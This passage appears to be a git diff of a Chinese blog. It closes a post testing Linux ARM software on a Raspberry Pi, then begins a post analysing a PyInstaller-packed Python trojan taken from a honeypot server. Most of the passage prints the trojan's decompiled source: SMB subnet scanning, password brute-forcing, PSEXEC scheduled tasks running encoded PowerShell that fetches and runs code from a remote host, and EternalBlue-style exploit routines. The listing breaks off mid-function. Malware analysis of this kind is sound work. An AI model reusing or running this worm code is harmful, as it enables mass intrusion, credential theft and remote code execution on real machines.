另外还有游戏,专门为Linux ARM设计的游戏估计没几个,不过想玩肯定是有的,比如用Ren'Py引擎的游戏以及在浏览器上的游戏,其他引擎似乎没什么资料……但没事,在macOS上也是用的iOS版的模拟器,后面讲到的安卓也可以运行模拟器😁。我之前也研究过[在macOS上玩Ren'Py引擎的游戏](/2024/01/20/renpy.html)。不过Ren'Py默认发行是不支持Linux ARM版的……但是可以另外下载SDK来支持。然而有一个问题,只有新版的SDK才支持64位的ARM,旧版虽然有树莓派支持,但可能是因为旧版树莓派只有32位的系统所以没有64位ARM的运行库😂。我看了看我电脑上之前下的Ren'Py引擎的游戏,找了一个《[Sakura Isekai Adventure](https://store.steampowered.com/app/2646050/Sakura_Isekai_Adventure/)》游戏看了一下Ren'Py的版本还可以,SDK也能正常的在树莓派上运行,试了一下感觉效果还不错,运行的方法是“SDK所在目录/renpy.sh 游戏所在目录/Game”,之前没加Game不停报错😅,文档写的也不清晰,测了半天才测出来……那对于旧版的就不能玩了吗?估计是可以但可能要自己编译很麻烦,反正源代码都有。不过有个例外,我本来想试试《[Katawa Shoujo](https://www.katawa-shoujo.com/)》,它用的Ren'Py很旧,但是因为是同人类游戏所以有人做了重制版《[Katawa Shoujo: Re-Engineered](https://www.fhs.sh/projects)》😆,这个是用的最新版的Ren'Py,增加了新的特性和各种BUG,但是正因如此,可以简单的在树莓派上运行了🤣。
|
||||||
|
至于其他关于AI方面的比如LLaMA和Stable Diffusion,这些毕竟是开源的,Linux ARM当然可以运行,只不过树莓派的GPU不能用来加速,运行会很卡而已,生态方面是没问题。
|
||||||
|
## 安卓软件测试
|
||||||
|
既然macOS可以原生运行iOS软件,那对于Linux来说自然应该对比一下原生运行安卓软件了。关于安卓软件我之前在Ubuntu Server上已经测了[Waydroid和redroid](/2023/12/24/android.html)。但毕竟当时是在无头模式下测的,没有图形界面,现在有了图形界面可以再测一下。安装除了要挂梯子下载镜像之外没什么问题,但是打开的时候不知道为什么只会黑屏……后来搜了一下,执行“waydroid prop set persist.waydroid.multi_windows true”再重启就没问题了。虽然安卓软件比iOS的要更多,不过毕竟树莓派的性能想玩手游还是有点勉强,当然这次测的是生态,所以还是完全没问题😁。
|
||||||
|
## 转译应用测试
|
||||||
|
既然macOS有Rosetta 2可以运行x86架构的软件,那Linux ARM当然也不能少,这个方案比较多,有QEMU,Box86/64还有ExaGear,不过听说ExaGear性能相对更好一些,那这次就测这个吧。
|
||||||
|
现在ExaGear已经被华为收购了,想要下载的话在[华为源](https://mirrors.huaweicloud.com/kunpeng/archive/ExaGear/)里就能下到,我装的是4.0.0的,因为4.1.0似乎要自己配置镜像太麻烦了所以就没用。安装很简单,直接把对应目录的deb包安装了就可以,安装好之后就可以执行“exagear”进到转译后的Bash中,不过和macOS有个区别,macOS的程序都是通用二进制文件,里面包含了ARM架构和x86架构的程序,所以可以无缝衔接,Linux当然没有这个特性,所以ExaGear是映射到它自己的镜像里面的,各种包还得另外安装。
|
||||||
|
那这个东西装什么比较好呢?我发现我的Mac上有个网易云音乐,在Linux上似乎没有ARM版的,在星火应用商店也只有Wine版。但是它之前和深度合作出过Linux版,现在估计谈崩了从官网上消失了,但是原来的链接还在可以下载。具体的流程在[CSDN上有篇博客](https://blog.csdn.net/qq_35533121/article/details/128237853)有写,试了一下可以安装,而且运行效率比我预期高不少,最起码点击不算卡,而且听音乐也没有卡顿的感觉,感觉算是相当不错了。
|
||||||
|
其实我也挺疑惑Rosetta 2和ExaGear的效率怎么样,我看网上有篇文章[Comparing Huawei ExaGear to Apple's Rosetta 2 and Microsoft's solution](https://habr.com/en/companies/huawei/articles/577206/)说ExaGear效率最高,Rosetta 2有硬件加速都比不上,说实话我是不信的,要是那么厉害Eltechs怎么可能停更?而且全网就这一篇文章,很难不相信是华为员工写的软文😅,我自己手头没有合适的设备也不好测,不知道有没有大佬来打假。
|
||||||
|
那运行转译的Linux软件没问题之后再测一下转译Windows应用吧,我的Mac上可是有Whisky的。那对树莓派来说就是ExaGear+Wine了。安装很简单,直接在ExaGear的shell里用apt安装就行,安装好之后就可以用“exagear -- wine ./windows程序.exe”来运行了。我在我的Mac上找了一个用Godot引擎写的小游戏,放上去试了一下,居然可以运行,而且也是比想象中的流畅,不过我玩的本来就是画面变动少的游戏也不会卡到哪里,不过能在接受范围内有反应已经很不错了,虽然没Mac反应快但毕竟测生态和芯片本身速度无关,树莓派的性能当然比不了Mac,能玩我已经很满足了。
|
||||||
|
其实如果论游戏的话在x86平台毕竟有SteamOS的先例,用ExaGear转译然后加上Proton如果芯片性能足够的情况应该是能玩不少游戏的。
|
||||||
|
|
||||||
|
# 其他实验
|
||||||
|
在玩树莓派的时候我又想玩[电台](/2022/03/27/radio.html)了🤣毕竟这是树莓派唯一的优势,能用到它的GPIO接口,不然真的就是性价比不怎么样,性能还差的ARM迷你主机了。这次我多试了一下怎么样把图形界面上的声音通过广播传出来,如果可以的话树莓派离得比较远而且不用蓝牙耳机的情况下也能听到声音了。不过我不太清楚Linux中的声音是怎么合成的,我搜了一下似乎是用PulseAudio合成的,用“pactl list sources”命令就可以列出相关的设备,在我的树莓派上可以看到是叫“alsa_output.platform-bcm2835_audio.stereo-fallback.monitor”,然后用
|
||||||
|
```bash
|
||||||
|
sox -t pulseaudio alsa_output.platform-bcm2835_audio.stereo-fallback.monitor -t wav - | sudo ./pi_fm_adv --audio - --freq 87.0 --power 7 --gpio 4 --gpio 20 --gpio 32 --rds 0
|
||||||
|
```
|
||||||
|
命令理论上就可以发射电台了,但实际上不知道为什么虽然能听到声音,但是声调变的很高,而且一卡一卡的,根本不能听,而且进程会卡住,要用kill -9才能结束😓……
|
||||||
|
不过这个就和Linux ARM生态无关了,这是只有树莓派才有的特殊功能,其他电脑估计做不到这一点😆。
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
这次测下来感觉Linux ARM好像还挺强的啊,基本上我Mac上装的东西都有,而且功能也挺齐全,从原生应用的角度来看可能比Windows on ARM还多。看来除了易用性之外Linux ARM生态已经很成熟了啊,这么来看Mac就只剩下美观、易用性和芯片性能强大这些优势了啊😂。
|
||||||
@@ -0,0 +1,1875 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: 关于Python制作的木马探索
|
||||||
|
tags: [Python, 木马, 病毒]
|
||||||
|
---
|
||||||
|
|
||||||
|
想不到木马病毒居然也可以用Python写😆<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
在一年前阿里云搞了个高校学生免费领300CNY券的活动,那时候我领了一张并且零元购了一个香港的2c1g轻量服务器,在这一年里它为我做了许多,不仅当延迟极低的梯子,另外还运行着H@H给我赚Hath。一年过后的现在它马上就要过期了,当时我让我的同学也领了一张,正好等到我服务器快过期的时候买,于是我创好服务器并且把我的东西都迁过去,之后旧的服务器就没什么用了。
|
||||||
|
那在它剩下的最后几天让它干些什么好呢?首先Linux系统感觉没啥意思,装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的,而且如果买的时候装Windows还需要额外付费,所以我用了一个[一键DD/重装脚本](https://github.com/bin456789/reinstall)把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实,所以我给它设置了超简单的密码,并且没有装任何补丁,防火墙全关掉,让它在网络上成为能被随意攻破的肉鸡吧。
|
||||||
|
在这之后没几天我登上去看了一眼,其实看不出来啥,毕竟就算被入侵了绝大多数情况都是被人当备用的,一般人也不会闲着把上面的文件全删掉,把系统搞崩。所以我安了个360,看看有没有中木马,结果还真中了,在Temp目录下多了个“svchost.exe”文件(虽然还有其他的木马文件但不是Python的所以不感兴趣),而且看图标居然是pyinstaller打包的!这让我有点感兴趣了,其他语言写的编译之后很难看出来什么,而且我也看不懂其他语言写的东西,但是Python我至少还是能看懂的,所以我就下载了这个样本尝试获得它的源代码。
|
||||||
|
|
||||||
|
# 提取源代码
|
||||||
|
pyinstaller解包还是挺简单的,用[PyInstaller Extractor](https://github.com/extremecoders-re/pyinstxtractor)就可以,首先我在我的电脑上尝试解包,不过因为Python版本不对,里面的PYZ文件不能解包,并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂,直接就能解压,不过就算加密了我之前看过一篇[文章](https://www.cnblogs.com/liweis/p/15891170.html)可以进行解密。
|
||||||
|
不过现在得到的文件都是字节码pyc文件,还需要反编译才能看到源代码,这个步骤也很简单,安装个[uncompyle6](https://github.com/rocky/python-uncompyle6)工具就可以。它的主程序名字叫“ii.py”,于是我反编译了一下,不过看起来作者还整了一些混淆,但是极其简单,就把几个函数换成一串变量而已,所以写了个简单的脚本给它还原回去了,最终处理的结果如下(里面有个[混淆过的PowerShell版mimikatz](https://github.com/DanMcInerney/Invoke-Cats),太长了所以我给删掉了):
|
||||||
|
```python
|
||||||
|
# uncompyle6 version 3.9.2
|
||||||
|
# Python bytecode version base 2.7 (62211)
|
||||||
|
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
|
||||||
|
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
|
||||||
|
# Embedded file name: ii.py
|
||||||
|
|
||||||
|
import subprocess
|
||||||
|
import re
|
||||||
|
import binascii
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import threading
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import platform
|
||||||
|
from urllib2 import urlopen
|
||||||
|
from json import load
|
||||||
|
from impacket import smb, smbconnection
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack, unpack, unpack_from
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
from psexec import PSEXEC
|
||||||
|
iplist = ['192.168.0.1/24', '192.168.1.1/24', '192.168.2.1/24', '192.168.3.1/24', '192.168.4.1/24',
|
||||||
|
'192.168.5.1/24', '192.168.6.1/24', '192.168.7.1/24', '192.168.8.1/24', '192.168.9.1/24',
|
||||||
|
'192.168.10.1/24', '192.168.18.1/24', '192.168.31.1/24', '192.168.199.1/24',
|
||||||
|
'192.168.254.1/24', '192.168.67.1/24', '10.0.0.1/24', '10.0.1.1/24', '10.0.2.1/24',
|
||||||
|
'10.1.1.1/24', '10.90.90.1/24', '10.1.10.1/24', '10.10.1.1/24']
|
||||||
|
userlist = ['', 'Administrator', 'user', 'admin', 'test', 'hp', 'guest']
|
||||||
|
userlist2 = ['', 'Administrator', 'admin']
|
||||||
|
passlist = ['', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234',
|
||||||
|
'123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111',
|
||||||
|
'000000', '111111', '112233', '123321', '654321', '666666', '888888', 'a123456',
|
||||||
|
'123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789',
|
||||||
|
'123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password',
|
||||||
|
'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie',
|
||||||
|
'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t',
|
||||||
|
'qwertyuiop', '1qaz2wsx']
|
||||||
|
domainlist = ['']
|
||||||
|
nip = []
|
||||||
|
ntlist = []
|
||||||
|
|
||||||
|
# remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats)
|
||||||
|
mkatz = ''
|
||||||
|
|
||||||
|
def find_ip():
|
||||||
|
global iplist2
|
||||||
|
ipconfig_process = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE)
|
||||||
|
output = ipconfig_process.stdout.read()
|
||||||
|
result = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output)
|
||||||
|
for ipaddr in result:
|
||||||
|
if ipaddr != '127.0.0.1' and ipaddr != '255.255.255.0' and ipaddr != '0.0.0.0':
|
||||||
|
ipaddr = ipaddr.split('.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2] + '.1/24'
|
||||||
|
iplist.append(ipaddr)
|
||||||
|
|
||||||
|
netstat_process = subprocess.Popen('netstat -na', stdout=subprocess.PIPE)
|
||||||
|
output2 = netstat_process.stdout.read()
|
||||||
|
result2 = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output2)
|
||||||
|
for ip in result2:
|
||||||
|
if ip != '127.0.0.1' and ip != '0.0.0.0' and ip != '255.255.0.0' and ip != '1.1.1.1':
|
||||||
|
ip = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.1/24'
|
||||||
|
iplist.append(ip)
|
||||||
|
|
||||||
|
try:
|
||||||
|
ipp1 = urlopen('http://ip.42.pl/raw', timeout=3).read()
|
||||||
|
ipp1 = ipp1.split('.')[0] + '.' + ipp1.split('.')[1] + '.' + ipp1.split('.')[2] + '.1/24'
|
||||||
|
ipp2 = load(urlopen('http://jsonip.com', timeout=3))['ip']
|
||||||
|
ipp2 = ipp2.split('.')[0] + '.' + ipp2.split('.')[1] + '.' + ipp2.split('.')[2] + '.1/24'
|
||||||
|
iplist.append(ipp1)
|
||||||
|
iplist.append(ipp2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
iplist2 = list(set(iplist))
|
||||||
|
iplist2.sort(key=iplist.index)
|
||||||
|
return iplist2
|
||||||
|
|
||||||
|
|
||||||
|
def xip(numb):
|
||||||
|
del nip[:]
|
||||||
|
for n in xrange(numb):
|
||||||
|
ipp = socket.inet_ntoa(struct.pack('>I', random.randint(1, 4294967295L)))
|
||||||
|
ipp = ipp.split('.')[0] + '.' + ipp.split('.')[1] + '.' + ipp.split('.')[2] + '.1/24'
|
||||||
|
nip.append(ipp)
|
||||||
|
|
||||||
|
return nip
|
||||||
|
|
||||||
|
|
||||||
|
def scan(ip, p):
|
||||||
|
global timeout
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.settimeout(float(timeout) if timeout else None)
|
||||||
|
try:
|
||||||
|
s.connect((ip, p))
|
||||||
|
return 1
|
||||||
|
except Exception as e:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def scan2(ip, p):
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.settimeout(float(2))
|
||||||
|
try:
|
||||||
|
s.connect((ip, p))
|
||||||
|
return 1
|
||||||
|
except Exception as e:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def scan3(ip, p):
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.settimeout(float(1))
|
||||||
|
try:
|
||||||
|
s.connect((ip, p))
|
||||||
|
return 1
|
||||||
|
except Exception as e:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def validate(ip, fr):
|
||||||
|
global dl
|
||||||
|
global domainlist
|
||||||
|
global ee2
|
||||||
|
global passlist
|
||||||
|
global userlist2
|
||||||
|
for u in userlist2:
|
||||||
|
for p in passlist:
|
||||||
|
if u == '' and p != '':
|
||||||
|
continue
|
||||||
|
for d in domainlist:
|
||||||
|
if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, p, d, fr).run(ip):
|
||||||
|
print 'SMB Succ!'
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def validate2(ip, fr):
|
||||||
|
global ntlist
|
||||||
|
for u in userlist2:
|
||||||
|
for d in domainlist:
|
||||||
|
for n in ntlist:
|
||||||
|
if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, '', d, fr, '00000000000000000000000000000000:' + n).run(ip):
|
||||||
|
print 'SMB Succ!'
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def scansmb(ip, p):
|
||||||
|
global semaphore1
|
||||||
|
if scan(ip, 445) == 1:
|
||||||
|
if scan(ip, 65533) == 0:
|
||||||
|
print 'exp IP:' + ip
|
||||||
|
try:
|
||||||
|
validate(ip, '1')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
check_ip(ip, 1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
validate2(ip, '3')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
semaphore1.release()
|
||||||
|
|
||||||
|
|
||||||
|
def scansmb2(ip, p):
|
||||||
|
if scan2(ip, 445) == 1:
|
||||||
|
print 'exp IP:' + ip
|
||||||
|
try:
|
||||||
|
validate(ip, '2')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
check_ip(ip, 2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
validate2(ip, '2')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
semaphore1.release()
|
||||||
|
|
||||||
|
|
||||||
|
def scansmb3(ip, p):
|
||||||
|
global semaphore2
|
||||||
|
if scan3(ip, 445) == 1:
|
||||||
|
if scan3(ip, 65533) == 0:
|
||||||
|
print 'exp IP:' + ip
|
||||||
|
try:
|
||||||
|
validate(ip, '2')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
check_ip(ip, 2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
validate2(ip, '3')
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
semaphore2.release()
|
||||||
|
|
||||||
|
|
||||||
|
WIN7_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 160, 'SESSION_ISNULL_OFFSET': 186, 'FAKE_SECCTX': (pack('<IIQQIIB', 2621994, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 40}
|
||||||
|
WIN7_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 128, 'SESSION_ISNULL_OFFSET': 150, 'FAKE_SECCTX': (pack('<IIIIIIB', 1835562, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 28}
|
||||||
|
WIN8_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 176, 'SESSION_ISNULL_OFFSET': 202, 'FAKE_SECCTX': (pack('<IIQQQQIIB', 3670570, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 56}
|
||||||
|
WIN8_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 136, 'SESSION_ISNULL_OFFSET': 158, 'FAKE_SECCTX': (pack('<IIIIIIIIB', 2359850, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 36}
|
||||||
|
WIN2K3_64_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 186, 'SESSION_SECCTX_OFFSET': 160, 'SECCTX_PCTXTHANDLE_OFFSET': 16, 'PCTXTHANDLE_TOKEN_OFFSET': 64, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
|
||||||
|
WIN2K3_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 150, 'SESSION_SECCTX_OFFSET': 128, 'SECCTX_PCTXTHANDLE_OFFSET': 12, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
|
||||||
|
WINXP_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104, 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 64, 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 92}
|
||||||
|
WIN2K_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 60, 'TOKEN_USER_GROUP_ADDR_OFFSET': 88}
|
||||||
|
WIN7_32_TRANS_INFO = {'TRANS_SIZE': 160, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 64, 'TRANS_OUTPARAM_OFFSET': 68, 'TRANS_INDATA_OFFSET': 72, 'TRANS_OUTDATA_OFFSET': 76, 'TRANS_PARAMCNT_OFFSET': 88, 'TRANS_TOTALPARAMCNT_OFFSET': 92, 'TRANS_FUNCTION_OFFSET': 114, 'TRANS_MID_OFFSET': 128}
|
||||||
|
WIN7_64_TRANS_INFO = {'TRANS_SIZE': 248, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 112, 'TRANS_OUTPARAM_OFFSET': 120, 'TRANS_INDATA_OFFSET': 128, 'TRANS_OUTDATA_OFFSET': 136, 'TRANS_PARAMCNT_OFFSET': 152, 'TRANS_TOTALPARAMCNT_OFFSET': 156, 'TRANS_FUNCTION_OFFSET': 178, 'TRANS_MID_OFFSET': 192}
|
||||||
|
WIN5_32_TRANS_INFO = {'TRANS_SIZE': 152, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 60, 'TRANS_OUTPARAM_OFFSET': 64, 'TRANS_INDATA_OFFSET': 68, 'TRANS_OUTDATA_OFFSET': 72, 'TRANS_PARAMCNT_OFFSET': 84, 'TRANS_TOTALPARAMCNT_OFFSET': 88, 'TRANS_FUNCTION_OFFSET': 110, 'TRANS_PID_OFFSET': 120, 'TRANS_MID_OFFSET': 124}
|
||||||
|
WIN5_64_TRANS_INFO = {'TRANS_SIZE': 224, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 104, 'TRANS_OUTPARAM_OFFSET': 112, 'TRANS_INDATA_OFFSET': 120, 'TRANS_OUTDATA_OFFSET': 128, 'TRANS_PARAMCNT_OFFSET': 144, 'TRANS_TOTALPARAMCNT_OFFSET': 148, 'TRANS_FUNCTION_OFFSET': 170, 'TRANS_PID_OFFSET': 180, 'TRANS_MID_OFFSET': 184}
|
||||||
|
X86_INFO = {'ARCH': 'x86', 'PTR_SIZE': 4, 'PTR_FMT': 'I', 'FRAG_TAG_OFFSET': 12, 'POOL_ALIGN': 8, 'SRV_BUFHDR_SIZE': 8}
|
||||||
|
X64_INFO = {'ARCH': 'x64', 'PTR_SIZE': 8, 'PTR_FMT': 'Q', 'FRAG_TAG_OFFSET': 20, 'POOL_ALIGN': 16, 'SRV_BUFHDR_SIZE': 16}
|
||||||
|
|
||||||
|
def merge_dicts(*dict_args):
|
||||||
|
result = {}
|
||||||
|
for dictionary in dict_args:
|
||||||
|
result.update(dictionary)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
OS_ARCH_INFO = {'WIN7': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO))}, 'WIN8': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO))}, 'WINXP': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K3': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO))}}
|
||||||
|
TRANS_NAME_LEN = 4
|
||||||
|
HEAP_HDR_SIZE = 8
|
||||||
|
|
||||||
|
def calc_alloc_size(size, align_size):
|
||||||
|
return size + align_size - 1 & ~(align_size - 1)
|
||||||
|
|
||||||
|
|
||||||
|
def wait_for_request_processed(conn):
|
||||||
|
conn.send_echo('a')
|
||||||
|
|
||||||
|
|
||||||
|
def find_named_pipe(conn):
|
||||||
|
pipes = ['browser', 'spoolss', 'netlogon', 'lsarpc', 'samr']
|
||||||
|
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
|
||||||
|
found_pipe = None
|
||||||
|
for pipe in pipes:
|
||||||
|
try:
|
||||||
|
fid = conn.nt_create_andx(tid, pipe)
|
||||||
|
conn.close(tid, fid)
|
||||||
|
found_pipe = pipe
|
||||||
|
break
|
||||||
|
except smb.SessionError as e:
|
||||||
|
pass
|
||||||
|
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
return found_pipe
|
||||||
|
|
||||||
|
|
||||||
|
special_mid = 0
|
||||||
|
extra_last_mid = 0
|
||||||
|
|
||||||
|
def reset_extra_mid(conn):
|
||||||
|
global extra_last_mid
|
||||||
|
global special_mid
|
||||||
|
special_mid = (conn.next_mid() & 65280) - 256
|
||||||
|
extra_last_mid = special_mid
|
||||||
|
|
||||||
|
|
||||||
|
def next_extra_mid():
|
||||||
|
global extra_last_mid
|
||||||
|
extra_last_mid += 1
|
||||||
|
return extra_last_mid
|
||||||
|
|
||||||
|
|
||||||
|
GROOM_TRANS_SIZE = 20496
|
||||||
|
|
||||||
|
def leak_frag_size(conn, tid, fid):
|
||||||
|
info = {}
|
||||||
|
mid = conn.next_mid()
|
||||||
|
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A' * 4304, maxParameterCount=GROOM_TRANS_SIZE - 4304 - TRANS_NAME_LEN)
|
||||||
|
req2 = conn.create_nt_trans_secondary_packet(mid, data='B' * 276)
|
||||||
|
conn.send_raw(req1[:-8])
|
||||||
|
conn.send_raw(req1[-8:] + req2)
|
||||||
|
leakData = conn.recv_transaction_data(mid, 4580)
|
||||||
|
leakData = leakData[4308:]
|
||||||
|
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
|
||||||
|
print 'Target is 32 bit'
|
||||||
|
info['arch'] = 'x86'
|
||||||
|
info['FRAG_POOL_SIZE'] = ord(leakData[X86_INFO['FRAG_TAG_OFFSET'] - 2]) * X86_INFO['POOL_ALIGN']
|
||||||
|
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
|
||||||
|
print 'Target is 64 bit'
|
||||||
|
info['arch'] = 'x64'
|
||||||
|
info['FRAG_POOL_SIZE'] = ord(leakData[X64_INFO['FRAG_TAG_OFFSET'] - 2]) * X64_INFO['POOL_ALIGN']
|
||||||
|
else:
|
||||||
|
print 'Not found Frag pool tag in leak data'
|
||||||
|
print ('Got frag size: 0x{:x}').format(info['FRAG_POOL_SIZE'])
|
||||||
|
return info
|
||||||
|
|
||||||
|
|
||||||
|
def read_data(conn, info, read_addr, read_size):
|
||||||
|
fmt = info['PTR_FMT']
|
||||||
|
new_data = pack('<' + fmt * 3, info['trans2_addr'] + info['TRANS_FLINK_OFFSET'], info['trans2_addr'] + 512, read_addr)
|
||||||
|
new_data += pack('<II', 0, 0)
|
||||||
|
new_data += pack('<III', 8, 8, 8)
|
||||||
|
new_data += pack('<III', read_size, read_size, read_size)
|
||||||
|
new_data += pack('<HH', 0, 5)
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
|
||||||
|
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=17120, totalParameterCount=4096)
|
||||||
|
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
|
||||||
|
read_data = conn.recv_transaction_data(info['trans2_mid'], 8 + read_size)
|
||||||
|
info['trans2_addr'] = unpack_from('<' + fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
|
||||||
|
